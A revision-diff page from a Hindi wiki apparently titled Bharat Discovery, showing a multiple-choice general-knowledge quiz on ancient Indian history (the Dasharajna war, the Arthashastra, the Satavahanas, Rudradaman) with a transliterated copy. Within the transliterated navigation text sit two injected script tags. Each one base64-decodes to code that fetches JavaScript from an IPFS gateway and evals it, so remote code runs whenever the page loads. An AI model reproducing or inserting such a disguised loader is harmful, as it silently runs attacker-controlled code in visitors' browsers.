Difference between revisions of "इतिहास सामान्य ज्ञान 9"

भारत डिस्कवरी प्रस्तुति
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-[[कावेरी नदी|कावेरी]]
 
-[[कावेरी नदी|कावेरी]]
 
+[[परुष्णी नदी|परुष्णी]]
 
+[[परुष्णी नदी|परुष्णी]]
||'परुष्णी नदी' [[पंजाब]] राज्य की प्रसिद्ध [[रावी नदी]] या [[इरावती नदी]] का ही वैदिक नाम है। ऐसा जान पड़ता है कि परुष्णी नाम वैदिक काल में ही प्रचलित था, क्योंकि परवर्ती [[साहित्य]] में इस नदी का नाम इरावती मिलता है। [[ऋग्वेद]] के अनुसार [[परुष्णी नदी]] के तट पर ही तृत्स गण के राजा [[सुदास]] ने दस राजाओं की सम्मिलित सेना को हराया था। इसी कारण से यह युद्ध 'दाशराज युद्ध' के नाम से प्रसिद्ध हुआ था।{{point}}अधिक जानकारी के लिए देखें-:[[परुष्णी नदी|परुष्णी]]
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||'परुष्णी नदी' [[पंजाब]] राज्य की प्रसिद्ध [[रावी नदी]] या [[इरावती नदी]] का ही वैदिक नाम है। ऐसा जान पड़ता है कि परुष्णी नाम [[वैदिक काल]] में ही प्रचलित था, क्योंकि परवर्ती [[साहित्य]] में इस नदी का नाम इरावती मिलता है। [[ऋग्वेद]] के अनुसार [[परुष्णी नदी]] के तट पर ही तृत्स गण के राजा [[सुदास]] ने दस राजाओं की सम्मिलित सेना को हराया था। इसी कारण से यह युद्ध 'दाशराज युद्ध' के नाम से प्रसिद्ध हुआ था।{{point}}अधिक जानकारी के लिए देखें-:[[परुष्णी नदी|परुष्णी]]
  
 
{[[मौर्यकाल|मौर्यकालीन]] गुफ़ाओं में सर्वाधिक प्राचीन गुफ़ा निम्न में से किस पहाड़ी पर है?
 
{[[मौर्यकाल|मौर्यकालीन]] गुफ़ाओं में सर्वाधिक प्राचीन गुफ़ा निम्न में से किस पहाड़ी पर है?
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{निम्न में से किस [[ग्रंथ]] में [[शूद्र|शूद्रों]] के लिए '[[आर्य]]' शब्द का प्रयोग हुआ है?
 
{निम्न में से किस [[ग्रंथ]] में [[शूद्र|शूद्रों]] के लिए '[[आर्य]]' शब्द का प्रयोग हुआ है?
 
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+[[अर्थशास्त्र]]  
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+[[अर्थशास्त्र ग्रन्थ|अर्थशास्त्र]]  
 
-[[मुद्राराक्षस ग्रंथ|मुद्राराक्षस]]
 
-[[मुद्राराक्षस ग्रंथ|मुद्राराक्षस]]
 
-[[पाणिनि]] का [[अष्टाध्यायी]]
 
-[[पाणिनि]] का [[अष्टाध्यायी]]
 
-[[बृहत्कथामंजरी]]
 
-[[बृहत्कथामंजरी]]
||'अर्थशास्त्र' [[हिन्दू धर्म]] ग्रन्थों में उल्लिखित हिन्दू धर्म का एक प्रसिद्ध तथा महत्त्वपूर्ण [[ग्रन्थ]] है। इसके रचनाकार [[कौटिल्य]] हैं। सम्भवतः आचार्य [[चाणक्य]] (कौटिल्य या विष्णुगुप्त) द्वारा रचित इस कृति को [[भारत]] का पहला राजनीति का ग्रन्थ माना जाता है। लगभग 6000 [[श्लोक|श्लोकों]] वाले इस ग्रन्थ से [[मौर्य काल]] के राजनीतिक, सामाजिक, आर्थिक एवं धार्मिक स्थिति की स्पष्ट जानकारी मिलती है।{{point}}अधिक जानकारी के लिए देखें-:[[मुद्राराक्षस ग्रंथ|मुद्राराक्षस]]
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||'अर्थशास्त्र' [[हिन्दू धर्म]] ग्रन्थों में उल्लिखित हिन्दू धर्म का एक प्रसिद्ध तथा महत्त्वपूर्ण [[ग्रन्थ]] है। इसके रचनाकार [[कौटिल्य]] हैं। सम्भवतः आचार्य [[चाणक्य]] (कौटिल्य या विष्णुगुप्त) द्वारा रचित इस कृति को [[भारत]] का पहला राजनीति का ग्रन्थ माना जाता है। लगभग 6000 [[श्लोक|श्लोकों]] वाले इस ग्रन्थ से [[मौर्य काल]] के राजनीतिक, सामाजिक, आर्थिक एवं धार्मिक स्थिति की स्पष्ट जानकारी मिलती है।{{point}}अधिक जानकारी के लिए देखें-:[[अर्थशास्त्र ग्रन्थ]]
  
 
{भूमिदान का प्रथम उल्लेख कब मिला?
 
{भूमिदान का प्रथम उल्लेख कब मिला?
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+[[सातवाहन|सातवाहनों]] के समय में
 
+[[सातवाहन|सातवाहनों]] के समय में
 
-[[गुप्त|गुप्तों]] के समय में
 
-[[गुप्त|गुप्तों]] के समय में
||[[मौर्य साम्राज्य]] की शक्ति क्षीण होने पर 'प्रतिष्ठान', [[गोदावरी नदी]] के तट पर स्थित पैठन, को राजधानी बनाकर [[सातवाहन वंश]] ने अपनी शक्ति का उत्कर्ष प्रारम्भ किया था। इस वंश का प्रथम राजा [[सिमुक]] था, जिसने 210 ई. पू. के लगभग अपने स्वतंत्र राज्य की नींव डाली। तीसरी सदी ई.पू. के अन्तिम चरण में प्रारम्भ होकर सातवाहनों का यह स्वतंत्र राज्य चार सदी के लगभग तक क़ायम रहा। [[भारत का इतिहास|भारत के इतिहास]] में लगभग अन्य कोई राजवंश इतने दीर्घकाल तक अबाधित रूप से शासन नहीं कर सका।{{point}}अधिक जानकारी के लिए देखें-:[[सातवाहन साम्राज्य]]
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||[[मौर्य साम्राज्य]] की शक्ति क्षीण होने पर 'प्रतिष्ठान', [[गोदावरी नदी]] के तट पर स्थित [[पैठण|पैठन]], को राजधानी बनाकर [[सातवाहन वंश]] ने अपनी शक्ति का उत्कर्ष प्रारम्भ किया था। इस वंश का प्रथम राजा [[सिमुक]] था, जिसने 210 ई. पू. के लगभग अपने स्वतंत्र राज्य की नींव डाली। तीसरी सदी ई.पू. के अन्तिम चरण में प्रारम्भ होकर सातवाहनों का यह स्वतंत्र राज्य चार सदी के लगभग तक क़ायम रहा। [[भारत का इतिहास|भारत के इतिहास]] में लगभग अन्य कोई राजवंश इतने दीर्घकाल तक अबाधित रूप से शासन नहीं कर सका।{{point}}अधिक जानकारी के लिए देखें-:[[सातवाहन साम्राज्य]]
  
 
{[[वशिष्ठीपुत्र पुलुमावी]] ने द्वितीय [[सदी]] के मध्य में [[सातवाहन]] राज्य की राजधानी किसे बनाया?
 
{[[वशिष्ठीपुत्र पुलुमावी]] ने द्वितीय [[सदी]] के मध्य में [[सातवाहन]] राज्य की राजधानी किसे बनाया?
 
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-[[औरंगाबाद]]
 
-[[औरंगाबाद]]
+प्रतिष्ठान
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+[[पैठण|प्रतिष्ठान]]
 
-[[मदुरा]]
 
-[[मदुरा]]
 
-उपर्युक्त में से कोई नहीं
 
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+[[शक]] राजा [[रुद्रदामन]] द्वारा
 
+[[शक]] राजा [[रुद्रदामन]] द्वारा
 
-[[कुषाण]] राजा [[कनिष्क]] द्वारा
 
-[[कुषाण]] राजा [[कनिष्क]] द्वारा
||रुद्रदामन 'कार्दमक वंशी' [[चष्टन]] का पौत्र था, जिसे चष्टन के बाद गद्दी पर बैठाया गया था। यह इस वंश का सर्वाधिक योग्य शासक था। [[रुद्रदामन]] कुशल राजनीतिज्ञ के अतिरिक्त प्रजापालक, [[संगीत]] एवं तर्कशास्त्र के क्षेत्र का विद्वान था। इसके समय में [[संस्कृत साहित्य]] का बहुत विकास हुआ था। रुद्रदामन ने सबसे पहले विशुद्ध [[संस्कृत भाषा]] में लम्बा [[अभिलेख]] जारी किया। उसके समय में [[उज्जयिनी]] शिक्षा का प्रमुख केन्द्र थी।{{point}}अधिक जानकारी के लिए देखें-:[[रुद्रदामन]]
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||रुद्रदामन 'कार्दमक वंशी' [[चष्टन]] का पौत्र था, जिसे [[चष्टन]] के बाद गद्दी पर बैठाया गया था। यह इस वंश का सर्वाधिक योग्य शासक था। [[रुद्रदामन]] कुशल राजनीतिज्ञ के अतिरिक्त प्रजापालक, [[संगीत]] एवं तर्कशास्त्र के क्षेत्र का विद्वान था। इसके समय में [[संस्कृत साहित्य]] का बहुत विकास हुआ था। रुद्रदामन ने सबसे पहले विशुद्ध [[संस्कृत भाषा]] में लम्बा [[अभिलेख]] जारी किया। उसके समय में [[उज्जयिनी]] शिक्षा का प्रमुख केन्द्र थी।{{point}}अधिक जानकारी के लिए देखें-:[[रुद्रदामन]]
 
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{{इतिहास सामान्य ज्ञान}}
 
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{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
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{{प्रचार}}
 
 
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Revision as of 12:43, 18 November 2014

samany jnan prashnottari
rajyoan ke samany jnan

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  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

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1 prasiddh das rajaoan ka yuddh (dasharaj yuddh) kis nadi ke tat par l da gaya?

ganga
brahmaputr
kaveri
parushni

2 mauryakalin gufaoan mean sarvadhik prachin gufa nimn mean se kis paha di par hai?

nagarjun paha di
nilagiri paha di
barabar paha di
rajagir paha di

3 nimn mean se kis granth mean shoodroan ke lie 'ary' shabd ka prayog hua hai?

arthashastr
mudrarakshas
panini ka ashtadhyayi
brihatkathamanjari

4 bhoomidan ka pratham ullekh kab mila?

mauryoan ke samay mean
shuangoan ke samay mean
satavahanoan ke samay mean
guptoan ke samay mean

5 vashishthiputr pulumavi ne dvitiy sadi ke madhy mean satavahan rajy ki rajadhani kise banaya?

aurangabad
pratishthan
madura
uparyukt mean se koee nahian

6 satavahanoan ne arambhik dinoan mean apana shasan kahaan se shuroo kiya?

maharashtr
saurashtr
kaanchi
andhr pradesh

8 ashok dvara nirmit saanchi ke stoop ka akar kis vansh ke shasakoan ne duguna karavaya?

kanv
satavahan
shuang
kushan

9 bharat mean sabase pahale kis vansh ke shasakoan ne sone ke sikke jari kiye?

parthiyan
kushan
shak
hind-yavan

10 sarvapratham bharat mean vishuddh sanskrit bhasha mean lamba abhilekh kis raja dvara jari kiya gaya?

yavan raja minandar dvara
pahalav raja gondophirnas dvara
shak raja rudradaman dvara
kushan raja kanishk dvara

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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